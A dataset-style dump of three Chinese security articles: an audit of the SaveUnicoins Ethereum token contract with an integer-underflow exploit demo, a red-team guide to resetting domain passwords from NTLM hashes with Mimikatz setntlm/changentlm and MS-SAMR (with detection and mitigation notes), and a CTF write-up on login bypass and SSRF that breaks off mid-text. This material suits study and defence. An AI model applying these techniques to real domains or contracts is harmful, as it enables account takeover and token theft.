text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
### 一、前言
很久没有对以太坊DAPP进行研究分析了，今天审计代码时偶然发现一款很有趣的DAPP应用。在以往的DAPP研究中，我们总能发现吸引用户投资的地方，例如前几篇文章中我们曾经介绍过`Fomo3D`游戏合约，为了吸引用户参与参考了心理学、经济学等理论。它让用户为了最后的大奖而进行疯狂进行投注行为，从而使游戏永远无法停止。而对于庞氏代币合约来说，它吞并了用户的本金并使新用户加入来实现盈利。
而在这次的分析中，我们通过其参与者的官方网站并没有发现其激励机制。也就是说在我看来就是一个很无聊的游戏而已emmm。但是还是吸引了很多玩家进行参与，并将钱均转向某个特定钱包地址。而在代码分析过程中，我还发现了除了DAPP本身之外的代码漏洞。这里一并写在这里。
### 二、DAPP—SaveUnicoins介绍
读者可以访问<http://www.saveunicoins.com/#来查看该DAPP的官网。>
该应用使用了与独角兽（unicorn）相近的英语单词（unicoins）来作为噱头进行应用设计。而查看游戏介绍我们发现其内容很笼统。大致意思如下：
`SAVEUNICOINS`是一款建立在以太坊上的DAPP应用，参与者需要“充币”来喂养这个独角兽。然而介绍中说道这里面的Unicoin可以通过官网或者智能合约来换取以太币，不过经过我分析代码后，并没有发现相关的转账代码（这个我稍后进行代码分析）。所以这个DAPP游戏就是令用户不断充钱，然后用什么来激励用户呢？
合约介绍中说明到，我们做这款DAPP是让用户来通过换取的token来喂养我们的独角兽，收到喂养的独角兽就可以不断的长大。而作为奖励，投食的用户可以获得`全网广播`的特权，也就是用户可以发一段消息，而这个消息将作为区块链的数据使所有用户均能够看到。对于区块链来说，由于数据是全网区块，所有用户均可以看到。
上图为游戏界面，我们可以通过这两种操作来购买Token代币并对独角兽进行投食。
### 三、代码详解
本次代码量并不是很大，所以在分析中我将把合约的各个模块内容进行分析。之后我们将对漏洞情况进行分析。所以本文不仅针对于了解合约漏洞用户，还针对分析代币合约的读者。希望能帮助读者更多的了解以太坊DAPP的搭建核心内容。
我们来具体的看代码内容。
首先我们能够看到创建者定义了一个`ERC20Basic`合约。
contract ERC20Basic {
uint256 public totalSupply=100000000;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
在该合约中，我们对`balanceOf`与`transfer`进行了定义，并且设定了`Transfer`的事件，以方便对后面的合约内容进行展开。而这里也设定了`totalSupply`的总数为`100000000`。这也是一个基本的ERC20的代币合约的编程规则。
之后，代码对`ERC20Basic`进行扩展，实习了`ERC20`合约。
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
而该合约继承了`ERC20Basic`并扩展出了另外三种赋权功能的函数，
为ERC20代币注入新活力。
而在上面的合约中，相关函数只是起到了声明的作用，所以下面的合约对函数进行了补充。
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
这里使用了安全函数，并重写了`transfer`转账函数与余额查看函数，这些属于基本操作，难度不大。
而后，一个完整的标准代币合约就诞生了。
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
`StandardToken`包括了ERC20代币的所有功能，包括转账、赋权转账、赋权操作等等。而上面的内容均是ERC20代币合约的基础部分，后面的代码就是针对此应用而特定进行设计的。
contract owned {
function owned() { owner = msg.sender; }
address owner;
// This contract only defines a modifier but does not use
// it - it will be used in derived contracts.
// The function body is inserted where the special symbol
// "_;" in the definition of a modifier appears.
// This means that if the owner calls this function, the
// function is executed and otherwise, an exception is
// thrown.
modifier onlyOwner {
if(msg.sender != owner)
{
throw;
}
_;
}
}
`owned`合约中定义了一个修饰器。使用了此修饰器的函数只允许`onlyOwner`进行操作。
下面是`UniContract`代币系统的关键代码。
首先是变量的定义。
string public constant name = "SaveUNICOINs";
string public constant symbol = "UCN";
uint256 public constant decimals = 0;
//founder & fund collector
address public multisig;
address public founder;
//Timings
uint public start;
uint public end;
uint public launch;
//Dynamic Pricing PRICE IN UCN
uint256 public PRICE = 300000;
//Dynamic Status of sold UCN Tokens
uint256 public OVERALLSOLD = 0;
//Maximum of Tokens to be sold 85.000.000
uint256 public MAXTOKENSOLD = 85000000;
其中，`multisig与founder`为地址变量，在后续的操作中将用户的value均转入到这两个地址中来。之后设计了三个关于时间的变量：`start
end launch`。而这三个参数对应了三个时间节点。之后的两个`OVERALLSOLD
以及MAXTOKENSOLD`分别定义了目前出售的token数量以及设定的系统最大token数量。
下面是构造函数：
function UniContract() onlyOwner {
founder = 0x204244062B04089b6Ef55981Ad82119cEBf54F88;
multisig= 0x9FA2d2231FE8ac207831B376aa4aE35671619960;
start = 1507543200;
end = 1509098400;
launch = 1509534000;
balances[founder] = balances[founder].add(15000000); // Founder (15% = 15.000.000 UCN)
}
正如我们看到的，构造函数中设定了上述的变量，并且给`founder`用户初始化了15000000的代币。
//Stage Pre-Sale Variables
uint256 public constant PRICE_PRESALE = 300000;
uint256 public constant FACTOR_PRESALE = 38;
uint256 public constant RANGESTART_PRESALE = 0;
uint256 public constant RANGEEND_PRESALE = 10000000;
//Stage 1
uint256 public constant PRICE_1 = 30000;
uint256 public constant FACTOR_1 = 460;
uint256 public constant RANGESTART_1 = 10000001;
uint256 public constant RANGEEND_1 = 10100000;
//Stage 2
uint256 public constant PRICE_2 = 29783;
uint256 public constant FACTOR_2 = 495;
uint256 public constant RANGESTART_2 = 10100001;
uint256 public constant RANGEEND_2 = 11000000;
//Stage 3
uint256 public constant PRICE_3 = 27964;
uint256 public constant FACTOR_3 = 580;
uint256 public constant RANGESTART_3 = 11000001;
uint256 public constant RANGEEND_3 = 15000000;
//Stage 4
uint256 public constant PRICE_4 = 21068;
uint256 public constant FACTOR_4 = 800;
uint256 public constant RANGESTART_4 = 15000001;
uint256 public constant RANGEEND_4 = 20000000;
//Stage 5
uint256 public constant PRICE_5 = 14818;
uint256 public constant FACTOR_5 = 1332;
uint256 public constant RANGESTART_5 = 20000001;
uint256 public constant RANGEEND_5 = 30000000;
//Stage 6
uint256 public constant PRICE_6 = 7310;
uint256 public constant FACTOR_6 = 2700;
uint256 public constant RANGESTART_6 = 30000001;
uint256 public constant RANGEEND_6 = 40000000;
//Stage 7
uint256 public constant PRICE_7 = 3607;
uint256 public constant FACTOR_7 = 5450;
uint256 public constant RANGESTART_7 = 40000001;
uint256 public constant RANGEEND_7 = 50000000;
//Stage 8
uint256 public constant PRICE_8 = 1772;
uint256 public constant FACTOR_8 = 11000;
uint256 public constant RANGESTART_8 = 50000001;
uint256 public constant RANGEEND_8 = 60000000;
//Stage 9
uint256 public constant PRICE_9 = 863;
uint256 public constant FACTOR_9 = 23200;
uint256 public constant RANGESTART_9 = 60000001;
uint256 public constant RANGEEND_9 = 70000000;
//Stage 10
uint256 public constant PRICE_10 = 432;
uint256 public constant FACTOR_10 = 46000;
uint256 public constant RANGESTART_10 = 70000001;
uint256 public constant RANGEEND_10 = 80000000;
//Stage 11
uint256 public constant PRICE_11 = 214;
uint256 public constant FACTOR_11 = 78000;
uint256 public constant RANGESTART_11 = 80000001;
uint256 public constant RANGEEND_11 = 85000000;
而上述分组的变量赋值是用来为后面的不同情况做处理依据。而下面就是关键代码部分：
function submitTokens(address recipient) payable {
if (msg.value == 0) {
throw;
}
//Permit buying only between 10/09/17 - 10/27/2017 and after 11/01/2017
if((now > start && now < end) || now > launch)
{
uint256 tokens = msg.value.mul(PRICE).div( 1 ether);
if(tokens.add(OVERALLSOLD) > MAXTOKENSOLD)
{
throw;
}
//Pre-Sale CAP 10,000,000 check
if(((tokens.add(OVERALLSOLD)) > RANGEEND_PRESALE) && (now > start && now < end))
{
throw;
}
OVERALLSOLD = OVERALLSOLD.add(tokens);
// Send UCN to Recipient
balances[recipient] = balances[recipient].add(tokens);
// Send Funds to MultiSig
if (!multisig.send(msg.value)) {
throw;
}
}
else
{
throw;
}
首先代码判断用户传入的钱数是否为0 。当时间节点处于`10/09/17 -10/27/2017`或者在`11/01/2017`之后时，可以进入下面的内容。（我认为前一个时间段是测试阶段，而后一个时间为投入使用的实际阶段）
逻辑首先将token根据用户传入的value值进行处理，得到一个转换值。之后判断整个合约的总体量是否超过限制。均通过后便更新用户的钱包余额。最盈利的部分就属`!multisig.send(msg.value)`。在代码逻辑的最后一步中，合约将钱转给了`multisig`钱包。
之后，由于用户购买了相应的token，所以合约需要对目前的变量进行更新。
if(now>start && now <end)
{
//Stage Pre-Sale Range 0 - 10,000,000
if(OVERALLSOLD >= RANGESTART_PRESALE && OVERALLSOLD <= RANGEEND_PRESALE)
{
PRICE = PRICE_PRESALE - (1 + OVERALLSOLD - RANGESTART_PRESALE).div(FACTOR_PRESALE);
}
}
除了提交token的功能外，合约中还出现了`submitEther`函数。
function submitEther(address recipient) payable {
if (msg.value == 0) {
throw;
}
if (!recipient.send(msg.value)) {
throw;
}
}
官方网站中提到该合约可以进行提款操作，然而我对代码分析后，发现唯一能够对用户进行转账的地方在此。此处我们需要传入参数`recipient`地址，然后合约就会向该地址进行转账。转账数额是`msg.value`？？？所谓的转账无非就是类似于A向合约转了n个ether，然而合约把这n个ether转给B。然而合约并不会损失任何。
之后，我们再来看`世界广播`功能。
struct MessageQueue {
string message;
string from;
uint expireTimestamp;
uint startTimestamp;
address sender;
uint256 public constant maxSpendToken = 3600; //Message should last approx. 1 hour max
MessageQueue[] public mQueue;
}
合约定义了结构体变量用于保存各个用户的消息。包括了起止时间以及消息来源等等。
function addMessageToQueue(string msg_from, string name_from, uint spendToken) {
if(balances[msg.sender]>spendToken && spendToken>=10)
{
if(spendToken>maxSpendToken)
{
spendToken=maxSpendToken;
}
UniCoinSize=UniCoinSize+spendToken;
balances[msg.sender] = balances[msg.sender].sub(spendToken);
//If first message or last message already expired set newest timestamp
uint expireTimestamp=now;
if(mQueue.length>0)
{
if(mQueue[mQueue.length-1].expireTimestamp>now)
{
expireTimestamp = mQueue[mQueue.length-1].expireTimestamp; // 如果上一个用户的显示时间还没有到，那么下一个用户从结束处开始
}
}
当用户投食这个独角兽的时候，合约会将用户所发的话记录下来，并根据喂食的金额计算出相应的持续时间。之后根据目前队列中存在的消息时间而更新该用户的消息时间。
mQueue.push(MessageQueue({
message: msg_from,
from: name_from,
expireTimestamp: expireTimestamp.add(spendToken)+60, //give at least approx 60 seconds per msg
startTimestamp: expireTimestamp,
sender: msg.sender
}));
之后将相关变量存入队列中。下面是喂食函数：
function feedUnicorn(uint spendToken) {
if(balances[msg.sender]>spendToken)
{
UniCoinSize=UniCoinSize.add(spendToken);
balances[msg.sender] = balances[msg.sender].sub(spendToken);
}
}
当传入spendToken后，判断用户余额是否充足，如果充足的话则改变独角兽的大小，并对余额更新。
### 四、分析
#### 1 漏洞分析
我们在审计合约的时候应该能够注意到合约编写人使用了安全函数来帮助处理溢出问题，然而当我们仔细研究代码的时候就能发现：
用于检查溢出的关键函数被注释掉了。也就意味着安全函数跟普通的加减法是没有区别的emmm。
所以我们回过头来在看代码：
在转账授权之后进行转账，存在了下溢漏洞。我们可以针对此使用两个账户进行恶意操作，以便达到账户溢出的效果。
然而这个合约的漏洞不仅限于此，经过我的审计后发现了更多的溢出点。例如：
这是转账函数，然而这个转账函数并没有进行余额检测就进行了转账。倘若我的用户没有这么多钱，其还是可以转账成功，并且使自己的余额溢出。而编写者应该是认为默认使用sub安全函数后就可以依靠安全函数的内容进行检查操作，然而他忽略了安全代码的关键部分被注释了这个问题。
#### 2 实验操作
首先我们部署合约：
切换用户：
之后模拟用户投入部分eth来换取一定token。传入1 ether得到如下token：
在该用户下调用`approve`函数赋予`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`转账`300001`的权利。
查看刚才的操作。
现在我们切换到`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`用户下，并进行漏洞转账操作。
`"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db",
300001`。
此时查看`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`的余额：
由于下溢导致了溢出。此时达成了攻击目的。
而除了此处外，所有涉及到sub与add的函数均有可能出现类似的溢出漏洞，所以其余部分利用过程类似，这里就不在演示。
### 五、相关链接
* DAPP官方网站：<http://www.saveunicoins.com/Unicorn/index.html>
* 以太坊合约代码：<https://etherscan.io/address/0xd3F5056D9a112cA81B0e6f9f47F3285AA44c6AAA#code>
* 游戏介绍：<http://www.saveunicoins.com/unicorn.html#currency>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
[TOC]
> 本文为Windows RPC利用系列文章的第一篇，主要介绍关于MS-SAMR的部分利用，在后续的文章中将继续介绍RPC在渗透测试中的应用
作者: Loong716@Amulab
在渗透测试过程中，经常遇到拿到用户的NTLM哈希但无法解密出明文密码的情况。本文介绍并分析一种在仅知道域用户密码哈希时修改用户密码，并在使用完后恢复用户原密码的方法。完成相应工具实现，提出检测方法和缓解措施。
PS：本文提出的场景在实战中也有很多其他的解决办法，但本文仅讨论与changentlm、setntlm相关的内容
## 0x00 利用
考虑以下几个场景：
1. 我们拿下域控后，经常要搜集目标架构内用户的各种信息来寻找靶标，比如登录邮箱服务器、OA、NAS等可能使用域身份认证的系统
2. 我们收集的攻击路径中的其中一环是利用某账户重置/修改目标账户密码
3. 我们拿到某用户hash后，同样想通过该用户账户登录某系统，但目标系统不支持pth
我们虽然拿到了修改/重置密码的权限，但我们又不想直接修改目标用户的密码，因为这样用户在登录时就会发现自己的密码被修改了，此时有两种情况：
1. 如果我们有重置密码权限就可以使用`SetNTLM`来将用户密码重置
2. 如果有hash的话可以使用`ChangeNTLM`修改
登录目标系统后，再将目标密码还原
### 1\. SetNTLM
该功能的效果是直接将域用户的密码或hash重置为新的密码或hash
#### (1) 利用条件
当前身份对要修改的用户有`Reset Password`权限
#### (2) Demo
假设我们此时拿到域控，想修改域内用户`ntlmtest`的密码来登录某系统，先Dcsync看一下用户当前的hash：
由于我们是域管了，基本上对目标用户都是有重置密码权限的，然后利用以下命令重置密码：
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /password:<new_password>
登录目标系统以后，再通过以下命令还原密码：
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /ntlm:<Original_Hash>
### 2\. ChangeNTLM
#### (1) 利用条件
需要对目标用户有`Change Password`权限，但该权限一般是`Everyone`拥有的，所以基本上拿到目标用户的hash/密码后都可以进行密码更改
（注意此处的更改密码权限并不是说可以直接任意改用户密码，而是在知道用户的密码的情况下更改一个新密码）
该方法受到域内密码策略的限制，比如域内默认的 **“密码最短使用期限”** 为1天，因此用户每天只能修改一次自己的密码
而且如果域内存在 **“强制密码历史”** 规则时，该方法在恢复原密码时便不能成功，但如果没有 **“密码最短使用期限”**
的限制的话，我们多修改几次密码直到原密码在历史中清除，然后再修改为原密码即可
#### (2) Demo
修改用户test2密码：
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /old:<current_hash> /newpassword:<newpassword>
恢复原密码：
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /oldpassword:<current_password_plain_text> /new:<original_hash>
## 0x01 原理
ChangeNTLM和SetNTLM的原理本质都是调用[MS-SAMR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380)协议
不同的是ChangeNTLM是调用`SamrChangePasswordUser`这一API来修改用户密码：
而SetNTLM是通过`SamrSetInformationUser`来重置用户密码
大体过程是差不多的，只不过核心操作调用API不同，这也是为什么两种方法需要的参数、权限都不同，此处以分析ChangeNTLM为例
虽然原理本质是通过调用RPC，但mimikatz并不是直接调用RPC来修改，而是使用了一组以`Sam`开头的API，下图所示为部分API：
[Mimikatz -kuhl_m_lsadump.c#L2267](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c#L2267)
最终调用`SamiChangePasswordUser`来修改用户的密码
[Mimikatz -kuhl_m_lsadump.c#L2171](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c#L2171)
这些API由samlib.dll导出：
查看`SamiChangePasswordUser`函数调用树，可以看到调用了`NdrClientCall3`，是不是很熟悉？这明显是进行RPC调用的标志（xpn在他的文章[exploring-mimikatz-part-2](https://blog.xpnsec.com/exploring-mimikatz-part-2/)里有提到过）
我们再看一下调用处的反编译代码，参数刚好可以和`SamrChangePasswordUser`的操作数对应
其实从流量中也可以看出调用的是MS-SAMR协议：
## 0x02 实现
实现主要有两种思路，一种是跟mimikatz一样直接调用samlib.dll的导出函数，第二种是直接调用SAMR协议的API
两种方法原理一样，但前者的调用要更加简单，因为samlib里的导出函数对应了SAMR的API，其实相当于SAMR的上层实现，比如`SamiChangePasswordUser`对应`SamrChangePasswordUser`，并且参数更加简化
整个过程调用的API作用如下：
* **SamrConnect5** : 获取Server对象的句柄
* **SamrEnumerateDomainsInSamServer** : 枚举Server上的域名
* **SamrLookupDomainInSamServer** : 获取域名对应域的SID
* **SamrOpenDomain** : 获取Domain对象的句柄
* **SamrLookupNamesInDomain** : 获取指定用户的RID
* **SamrOpenUser** : 获取User对象的句柄
* **SamrChangePasswordUser** : 修改用户对象的密码
### 1\. 调用samlib的导出函数
原理前面已经提过了，直接调用samlib.dll里对应的导出函数即可， ~~直接嫖~~
参考mimikatz的源码即可实现，[源码戳这里](https://github.com/loong716/CPPPractice/tree/master/Set_ChangeNTLM)
### 2\. 直接调用MS-SAMR
这里以实现changentlm为例，setntlm同理
#### (1) C语言
微软官方已经把MS-SAMR的IDL给我们了：[[MS-SAMR] - Appendix A: Full
IDL](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e)，直接拿下来使用midl生成.h和.c文件即可（使用时还需要稍作修改）：
注意这里有一个坑点，如果对`SamrChangePasswordUser`只指定第5、6、7个参数的话，会产生`STATUS_LM_CROSS_ENCRYPTION_REQUIRED`错误：
因此必须再指定`LMCross`和`NewLmEncryptedWithNewNt`这两个参数，而后者是用新密码的NTLM Hash加密新密码的LM
Hash得到的，这里我一开始很疑惑：从mimikatz的功能来看，并不需要我们传递新密码LM Hash，那么它这个加密操作是怎么完成的呢？
由于LM Hash早已在高版本Windows中弃用，于是我猜测这个LM
Hash可能跟新密码并没有关系（比如有些工具需要使用`LMHASH:NTHASH`的格式来指定hash，但LM
Hash的值是多少并没有关系），于是我直接使用新密码的NTLM Hash来加密空密码对应的LM Hash：
...
unsigned char newLM[16];
PCWCHAR newLMHash = "AAD3B435B51404EEAAD3B435B51404EE";
StringToHex(newLMHash, newLM, sizeof(newLM));
status = RtlEncryptLmOwfPwdWithLmOwfPwd(newLM, newNT, &NewLMEncryptedWithNewNT);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] Calc NewLMEncryptedWithNewNT Error: %08X\n", status);
exit(1);
}
...
最终成功修改目标用户的密码，Demo实现效果如下，[源码戳这里](https://github.com/loong716/CPPPractice/tree/master/ChangeNTLM_SAMR)
#### (2) Impacket
既然是调用RPC，而且刚好impacket对SAMR协议也有实现，所以也可以用impacket来写
完成后我向impacket项目提交了[Pull
Request](https://github.com/SecureAuthCorp/impacket/pull/1097)，源码可以在commit中看到
效果如下，修改用户的密码：
恢复用户原hash：
## 0x03 检测与缓解
### 1\. ChangeNTLM
#### (1) 产生事件
ChangeNTLM会产生4723、4738两条日志，并且日志中的使用者和目标账户并不是同一个账户：
#### (2) 流量特征
在`SamrOpenUser`这个操作中（操作数为34），`Samr User Access Change
Password`标志位被设置为1，在该步操作中还可以看到用户对应的RID：
以及调用`SamrChangePasswordUser`（操作数为38）：
### 2\. SetNTLM
#### (1) 产生事件
SetNTLM会产生4724、4661、4738这三条日志：
#### (2) 流量特征
同样在`SamrOpenUser`这个操作中（操作数为34），`Samr User Access Set
Password`标志位被设置为1，也可以看到用户对应的RID：
调用`SamrSetUserInformation`（操作数为37）:
### 3\. 缓解措施
对于ChangeNTLM，我们可以通过设置域内密码策略来增大攻击者的利用难度：
* “密码最短使用期限” >= 1天
* “强制密码历史” >= 5个
而对于SetNTLM，基本是攻击者拿到较高权限时才会进行的操作，因此主要靠我们前期的一些用户实体行为来检测攻击者的行为，即使其拿到高权限，我们也可以通过事件迅速检测出SetNTLM行为
## 0x04 参考
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>
<https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c#L2165>
<https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/> | 社区文章 |
# 代码审计
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
//hash加盐加密
const port = process.env.PORT || 3000
//表示监听端口
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
// stringify 将 JavaScript 值转换为 JSON 字符串。
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
///全局删除“[”,“]”
return isIp(host) && IP.isPublic(host)
//isPublic就能看出来是公网还是内网了
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
//提取一部分路径
return !pathname.startsWith('/flag')
//判断是否路径开始为/flag
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
//没有绕过就回到login页面
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
//用户名和密码的加密，验证成功你就是管理员的session
//如果hash===adminHash，则session.admin被赋值。（运算符优先级）
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
//session验证
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
//session.admin验证通过后才可以访问proxy
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) { //waf验证
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
//开始进入啦
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => { //发送post方法
if(!req.session.admin) {
return res.redirect('/index')
//再验证session
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}//这里标明要利用/proxy
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body //请求数据
try {//判断请求方法
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})
//返回当前页面的js代码
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){ //test方法判断127
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
跟着别人的wp，再查资料，自己加了些注释，勉强看懂了代码。
那么首先要绕过用户名的监测拿到session.admin来绕过大多数的waf
# 绕过
## 第一步绕过‘admin’
//当数组（其中元素是字符串）与字符串拼接时，会返回字符串，所以
'iam' + ['admin'] = iamadmin
//题目中会用username和password拼接进行sha256加密，所以将username变成username[],同样得到正确
## 请求端口
测试了一下请求
（好耶，浏览量+1）
## 进入内部
上面已经提到过代码中设置的监听端口
const port = process.env.PORT || 3000
那就用访问 <http://0.0.0.0:3000>
在服务器中，0.0.0.0指的是本机上的所有IPV4地址，如果一个主机有两个IP地址，192.168.1.1 和
10.1.2.1，并且该主机上的一个服务监听的地址是0.0.0.0,那么通过两个ip地址都能够访问该服务。
访问/flag页面,得到hint
因为FLAG_WAF方法中对proxy请求的路径中，如果以/flag开头，则会被挡住。
所以 0.0.0.0/flag是不可行的
但是却没有对search?url=${url}后的参数进行监测
那就可以<http://0.0.0.0:3000/search?url=$ip:3000/flag>
又且test方法要求以127.0.0.1访问url,那就构造
<http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag>
# 内网
Netflix Conductor初认识
上面已经得到hint：有Netflix Conductor服务
本菜鸡表示不知道这是啥玩意。。。
Netflix Conductor：一个微服务编排工具
（自己理解的）
微服务又是啥？我觉得类似就是把整坨缠绕的服务分开成单个小服务，再用api连接起来，牺牲接口的简易度换来单个小服务的复杂性降低，单个小服务的更新速度和复杂度降低。
tips：通过分布式和微服务架构的异同可以更好的了解
微服务编排工具：上面已经提到，各个微服务的连接和协作的难易度被提高了，但用户仍然只需要一个便于操作的“总服务”，所以就需要把这些微服务编排起来，如何并联或串联。这种理念被实体化就是微服务编排工具。
我去翻了翻官方文档，感觉并非像大多数wp中所描述的
网上找到它的端口在 8080，那么先来探测一下内网，找一下哪台机器是那个服务器
而是其在8080端口存在Swagger APIs管理工具（图中有官方文档链接）
而Netflix Conductor所在的ip，根据Netflix Conductor的官方
> Start UI Server
> The UI Server is in the directory conductor/ui.
> To run it, you need Node.js installed and gulp installed with npm i -g
> gulp.
> In a terminal other than the one running the Conductor server:
> cd ui
> npm i
> gulp watch
>
> If you get an error message ReferenceError: primordials is not defined, you
> need to use an earlier version of Node (pre-12). See this issue for more
> details.
> Or Start all the services using docker-compose
> cd docker
> docker-compose up
>
> If you ran it locally, launch UI at <http://localhost:3000/> OR if you ran
> it using docker-compose launch the UI at <http://localhost:5000/>
使用docker容器的话得到两个信息：
1. 端口可能是3000或5000被分配UI
2. docker的分配ip，类似172.1x.0.x（这里待考证，从别人wp复制来的，晚点去查一查）
## 端口与ip
我是在buu上复现的，直接在admin登陆界面给了几个ip
{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true,"cidr":"127.0.0.1/8"}],"eth0":[{"address":"10.0.218.9","netmask":"255.255.255.0","family":"IPv4","mac":"02:42:0a:00:da:09","internal":false,"cidr":"10.0.218.9/24"}],"eth1":[{"address":"10.128.0.219","netmask":"255.255.0.0","family":"IPv4","mac":"52:54:00:9b:70:fe","internal":false,"cidr":"10.128.0.219/16"}]}
这里的ip不是盲目扫出来的，根据CIDR（无类域间路由）的计算划定测试范围（都是8的倍数，挺好算的）
//<http://fbccb903-3401-4a61-813f-8486f0075a84.node3.buuoj.cn/proxy?url=http%3A%2F%2F0.0.0.0:3000%2Fsearch%3Furl%3Dhttp%3A%2F%2F10.0.117.14%3A8080%2Fapi%2Fadmin%2Fconfig>
得到版本信息：
